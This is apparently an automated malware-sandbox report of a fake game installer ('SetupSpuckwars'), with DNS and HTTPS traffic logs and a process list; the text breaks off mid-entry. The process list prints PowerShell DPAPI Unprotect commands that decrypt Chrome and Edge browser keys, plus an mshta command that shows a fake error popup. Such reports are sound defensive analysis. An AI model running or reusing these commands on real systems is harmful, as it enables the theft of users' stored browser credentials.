                                                                                                                  Apr 10, 2024 08:39:38.834208965 CEST1.1.1.1192.168.2.60x82b7No error (0)ptb.discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.834208965 CEST1.1.1.1192.168.2.60x82b7No error (0)ptb.discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.834208965 CEST1.1.1.1192.168.2.60x82b7No error (0)ptb.discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.849667072 CEST1.1.1.1192.168.2.60xd9e5No error (0)discord.com162.159.128.233A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.849667072 CEST1.1.1.1192.168.2.60xd9e5No error (0)discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.849667072 CEST1.1.1.1192.168.2.60xd9e5No error (0)discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.849667072 CEST1.1.1.1192.168.2.60xd9e5No error (0)discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.849667072 CEST1.1.1.1192.168.2.60xd9e5No error (0)discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:43.145025969 CEST1.1.1.1192.168.2.60xa840No error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:43.145025969 CEST1.1.1.1192.168.2.60xa840No error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:43.145807981 CEST1.1.1.1192.168.2.60xa4f8No error (0)chrome.cloudflare-dns.com65IN (0x0001)false

                                                                                                                  HTTP Request Dependency Graph

                                                                                                                  • chrome.cloudflare-dns.com

                                                                                                                  HTTPS Proxied Packets

                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                  0192.168.2.649752162.159.61.34436524C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                  2024-04-10 06:39:45 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                  Host: chrome.cloudflare-dns.com
                                                                                                                  Connection: keep-alive
                                                                                                                  Content-Length: 128
                                                                                                                  Accept: application/dns-message
                                                                                                                  Accept-Language: *
                                                                                                                  User-Agent: Chrome
                                                                                                                  Accept-Encoding: identity
                                                                                                                  Content-Type: application/dns-message
                                                                                                                  2024-04-10 06:39:45 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                  Data Ascii: wwwgstaticcom)TP
                                                                                                                  2024-04-10 06:39:45 UTC247INHTTP/1.1 200 OK
                                                                                                                  Server: cloudflare
                                                                                                                  Date: Wed, 10 Apr 2024 06:39:45 GMT
                                                                                                                  Content-Type: application/dns-message
                                                                                                                  Connection: close
                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                  Content-Length: 468
                                                                                                                  CF-RAY: 8720bdd46d210580-IAD
                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                  2024-04-10 06:39:45 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 9d 00 04 8e fb a7 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                  Data Ascii: wwwgstaticcom^)


                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                  1192.168.2.649753162.159.61.34436524C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                  2024-04-10 06:39:45 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                  Host: chrome.cloudflare-dns.com
                                                                                                                  Connection: keep-alive
                                                                                                                  Content-Length: 128
                                                                                                                  Accept: application/dns-message
                                                                                                                  Accept-Language: *
                                                                                                                  User-Agent: Chrome
                                                                                                                  Accept-Encoding: identity
                                                                                                                  Content-Type: application/dns-message
                                                                                                                  2024-04-10 06:39:45 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                  Data Ascii: wwwgstaticcom)TP
                                                                                                                  2024-04-10 06:39:45 UTC247INHTTP/1.1 200 OK
                                                                                                                  Server: cloudflare
                                                                                                                  Date: Wed, 10 Apr 2024 06:39:45 GMT
                                                                                                                  Content-Type: application/dns-message
                                                                                                                  Connection: close
                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                  Content-Length: 468
                                                                                                                  CF-RAY: 8720bdd4687e1ffa-IAD
                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                  2024-04-10 06:39:45 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e1 00 04 8e fb 10 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                  Data Ascii: wwwgstaticcom^)


                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                  2192.168.2.649754162.159.61.34436524C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                  2024-04-10 06:39:45 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                  Host: chrome.cloudflare-dns.com
                                                                                                                  Connection: keep-alive
                                                                                                                  Content-Length: 128
                                                                                                                  Accept: application/dns-message
                                                                                                                  Accept-Language: *
                                                                                                                  User-Agent: Chrome
                                                                                                                  Accept-Encoding: identity
                                                                                                                  Content-Type: application/dns-message
                                                                                                                  2024-04-10 06:39:45 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                  Data Ascii: wwwgstaticcom)TP
                                                                                                                  2024-04-10 06:39:45 UTC247INHTTP/1.1 200 OK
                                                                                                                  Server: cloudflare
                                                                                                                  Date: Wed, 10 Apr 2024 06:39:45 GMT
                                                                                                                  Content-Type: application/dns-message
                                                                                                                  Connection: close
                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                  Content-Length: 468
                                                                                                                  CF-RAY: 8720bdd61f032d15-IAD
                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                  2024-04-10 06:39:45 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fb 10 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                  Data Ascii: wwwgstaticcom^)


                                                                                                                  Statistics

                                                                                                                  CPU Usage

                                                                                                                  Click to jump to process

                                                                                                                  Memory Usage

                                                                                                                  Click to jump to process

                                                                                                                  High Level Behavior Distribution

                                                                                                                  Click to dive into process behavior distribution

                                                                                                                  Behavior

                                                                                                                  Click to jump to process

                                                                                                                  System Behavior

                                                                                                                  General

                                                                                                                  Target ID:0
                                                                                                                  Start time:08:38:44
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  Wow64 process (32bit):true
                                                                                                                  Commandline:"C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe"
                                                                                                                  Imagebase:0x400000
                                                                                                                  File size:69'319'004 bytes
                                                                                                                  MD5 hash:320696B6328D7D82817DA50697FCB673
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:low
                                                                                                                  Has exited:false

                                                                                                                  General

                                                                                                                  Target ID:6
                                                                                                                  Start time:08:39:07
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  Imagebase:0x7ff6e0f20000
                                                                                                                  File size:162'028'032 bytes
                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Antivirus matches:
                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                  • Detection: 1%, Virustotal, Browse
                                                                                                                  Reputation:low
                                                                                                                  Has exited:false

                                                                                                                  General

                                                                                                                  Target ID:9
                                                                                                                  Start time:08:39:09
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                                                                                                  Imagebase:0x7ff615600000
                                                                                                                  File size:289'792 bytes
                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:high
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:10
                                                                                                                  Start time:08:39:09
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  Imagebase:0x7ff66e660000
                                                                                                                  File size:862'208 bytes
                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:high
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:11
                                                                                                                  Start time:08:39:09
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\tasklist.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:tasklist
                                                                                                                  Imagebase:0x7ff761730000
                                                                                                                  File size:106'496 bytes
                                                                                                                  MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:moderate
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:12
                                                                                                                  Start time:08:39:10
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                  Imagebase:0x7ff6e0f20000
                                                                                                                  File size:162'028'032 bytes
                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  Has elevated privileges:false
                                                                                                                  Has administrator privileges:false
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:low
                                                                                                                  Has exited:false

                                                                                                                  General

                                                                                                                  Target ID:13
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                  Imagebase:0x7ff6e0f20000
                                                                                                                  File size:162'028'032 bytes
                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:low
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:14
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                                                                                                  Imagebase:0x7ff615600000
                                                                                                                  File size:289'792 bytes
                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:high
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:15
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"
                                                                                                                  Imagebase:0x7ff615600000
                                                                                                                  File size:289'792 bytes
                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:high
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:16
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  Imagebase:0x7ff66e660000
                                                                                                                  File size:862'208 bytes
                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:high
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:17
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  Imagebase:0x7ff66e660000
                                                                                                                  File size:862'208 bytes
                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:high
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:18
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\tasklist.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:tasklist
                                                                                                                  Imagebase:0x7ff761730000
                                                                                                                  File size:106'496 bytes
                                                                                                                  MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Reputation:moderate
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:19
                                                                                                                  Start time:08:39:12
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')
                                                                                                                  Imagebase:0x7ff6e3d50000
                                                                                                                  File size:452'608 bytes
                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:20
                                                                                                                  Start time:08:39:24
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"
                                                                                                                  Imagebase:0x7ff615600000
                                                                                                                  File size:289'792 bytes
                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:21
                                                                                                                  Start time:08:39:24
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  Imagebase:0x7ff66e660000
                                                                                                                  File size:862'208 bytes
                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:22
                                                                                                                  Start time:08:39:24
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')
                                                                                                                  Imagebase:0x7ff6e3d50000
                                                                                                                  File size:452'608 bytes
                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:23
                                                                                                                  Start time:08:39:36
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                  Imagebase:0x7ff6e0f20000
                                                                                                                  File size:162'028'032 bytes
                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:false

                                                                                                                  General

                                                                                                                  Target ID:24
                                                                                                                  Start time:08:39:40
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""
                                                                                                                  Imagebase:0x7ff615600000
                                                                                                                  File size:289'792 bytes
                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:25
                                                                                                                  Start time:08:39:40
